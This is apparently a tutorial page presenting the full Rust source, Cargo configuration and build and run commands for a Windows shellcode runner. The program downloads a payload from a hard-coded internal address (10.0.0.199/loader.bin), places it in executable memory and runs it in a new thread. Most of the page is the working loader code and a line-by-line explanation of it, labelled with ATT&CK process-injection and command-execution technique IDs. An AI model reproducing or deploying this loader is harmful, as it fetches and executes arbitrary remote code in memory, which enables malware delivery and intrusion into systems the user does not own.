Simple Shellcode Runner in Rust

ID: T1055 Sub-techniques: T1055.001, T1055.002, T1055.003, T1055.004, T1055.005, T1055.008, T1055.009, T1055.011, T1055.012, T1055.013, T1055.014, T1055.015

ID: T1059 Sub-techniques: T1059.001, T1059.002, T1059.003, T1059.004, T1059.005, T1059.006, T1059.007, T1059.008, T1059.009, T1059.010

Understanding a Shellcode Runner in Rust: Detailed Walkthrough

In this article, we will explore a Rust program that acts as a shellcode runner. This program demonstrates how to download a binary (or shellcode) from a remote server and execute it in memory. We will break down each part of the code to understand how it works, covering everything from memory allocation to creating and managing threads in Windows.

Introduction

Shellcode runners are tools used to execute arbitrary shellcode in the memory of a host process. This is often done in security research, penetration testing, or during the exploitation of vulnerabilities. The code we are analyzing uses Rust and several Windows API functions to achieve this.

Here is the structure of the project:

  • Cargo.toml: The configuration file that lists the dependencies.

  • main.rs: The main Rust file that contains the logic for downloading and executing the shellcode.

Let's start by looking at the configuration.

Cargo.toml Configuration

The Cargo.toml file specifies the dependencies required for the project.

[package]
name = "shellcode-runner-request"
version = "0.1.0"
edition = "2021"

[dependencies]
winapi = { version = "0.3", features = ["memoryapi", "processthreadsapi", "synchapi", "winnt"] }
reqwest = "0.11"
tokio = { version = "1", features = ["full"] }
  • winapi: This crate provides Rust bindings for Windows API functions. The features memoryapi, processthreadsapi, synchapi, and winnt are used to manage memory and threads.

  • reqwest: A popular HTTP client for Rust, used here to download the shellcode from a remote server.

  • tokio: An asynchronous runtime for Rust, required for running asynchronous code with reqwest.

Main.rs: The Shellcode Runner

Now, let's dive into the main file, main.rs.

use reqwest;
use winapi::um::memoryapi::VirtualAlloc;
use winapi::um::processthreadsapi::CreateThread;
use winapi::um::synchapi::WaitForSingleObject;
use winapi::um::winnt::{MEM_COMMIT, PAGE_EXECUTE_READWRITE};
use std::ptr::null_mut;

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
    
    let url = "http://10.0.0.199/loader.bin";

    // Download the binary using the reqwest library
    let response = reqwest::get(url).await?.bytes().await?;

    // Convert the downloaded content into a byte array
    let bin_data = response.to_vec();

    unsafe {
        // Allocate memory for the binary
        let func_addr = VirtualAlloc(
            null_mut(),
            bin_data.len(),
            MEM_COMMIT,
            PAGE_EXECUTE_READWRITE,
        );

        // Check if the memory allocation succeeded
        if func_addr.is_null() {
            return Err("Failed to allocate memory.".into());
        }

        // Copy the binary data into the allocated memory
        std::ptr::copy_nonoverlapping(bin_data.as_ptr(), func_addr as *mut u8, bin_data.len());

        let mut thread_id: u32 = 0;

        // Create a thread to execute the binary
        let h_thread = CreateThread(
            null_mut(),
            0,
            Some(std::mem::transmute(func_addr)),
            null_mut(),
            0,
            &mut thread_id as *mut u32,
        );

        // Check if the thread was created successfully
        if h_thread.is_null() {
            return Err("Failed to create thread.".into());
        }

        // Wait for the thread to complete
        WaitForSingleObject(h_thread, 0xFFFFFFFF);
    }

    Ok(())
}

This code can be broken down into several key steps:

1. Asynchronous Main Function

The #[tokio::main] macro is used to declare the main function as an asynchronous entry point. This allows us to use asynchronous operations, such as downloading the shellcode.

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {

The Result<(), Box<dyn std::error::Error>> return type allows the function to handle errors gracefully.

2. Downloading the Shellcode

The shellcode is downloaded from a remote server using the reqwest library. The binary data is retrieved as a byte array.

let url = "http://10.0.0.199/loader.bin";
let response = reqwest::get(url).await?.bytes().await?;
let bin_data = response.to_vec();
  • reqwest::get(url).await: This sends a GET request to the specified URL asynchronously.

  • .bytes().await?: This extracts the response body as raw bytes.

3. Allocating Memory for the Shellcode

The downloaded shellcode needs to be stored in memory where it can be executed. This is done using the VirtualAlloc function from the Windows API.

let func_addr = VirtualAlloc(
    null_mut(),
    bin_data.len(),
    MEM_COMMIT,
    PAGE_EXECUTE_READWRITE,
);
  • null_mut(): A null pointer is passed, indicating that the system should determine the location of the allocated memory.

  • bin_data.len(): The size of the memory to be allocated is the length of the binary data.

  • MEM_COMMIT: Allocates physical storage in memory.

  • PAGE_EXECUTE_READWRITE: The allocated memory is readable, writable, and executable.

4. Copying the Shellcode to Memory

Once the memory is allocated, the shellcode is copied into this memory region.

std::ptr::copy_nonoverlapping(bin_data.as_ptr(), func_addr as *mut u8, bin_data.len());
  • bin_data.as_ptr(): A pointer to the start of the binary data.

  • *func_addr as mut u8: The address where the data should be copied.

  • bin_data.len(): The number of bytes to copy.

5. Executing the Shellcode

To execute the shellcode, a new thread is created using CreateThread. The entry point of this thread is set to the address where the shellcode was copied.

let h_thread = CreateThread(
    null_mut(),
    0,
    Some(std::mem::transmute(func_addr)),
    null_mut(),
    0,
    &mut thread_id as *mut u32,
);
  • null_mut(): No security attributes are specified.

  • 0: The stack size is set to the default.

  • Some(std::mem::transmute(func_addr)): The entry point of the thread is the address of the shellcode. std::mem::transmute is used to convert the function address into a type that CreateThread expects.

  • null_mut(): No parameters are passed to the thread.

  • *&mut thread_id as mut u32: A pointer to receive the thread ID.

6. Waiting for the Thread to Finish

Finally, the program waits for the thread to finish execution using WaitForSingleObject.

WaitForSingleObject(h_thread, 0xFFFFFFFF);
  • h_thread: The handle to the thread created earlier.

  • 0xFFFFFFFF: This constant indicates that the function should wait indefinitely for the thread to complete.

Compiling the Code

To compile this Rust program, you can use the following command in your terminal. Make sure you are in the directory containing your Cargo.toml file:

cargo build --release
  • cargo build: This command compiles your Rust project.

  • --release: This flag tells Cargo to build the project in release mode, which optimizes the code for performance.

After running this command, the compiled executable will be located in the target/release/ directory.

Running the Executable

Once compiled, you can run the executable directly:

./target/release/shellcode-runner-request

This will execute the program, download the shellcode from the specified URL, allocate memory for it, and execute it in a new thread.

Last updated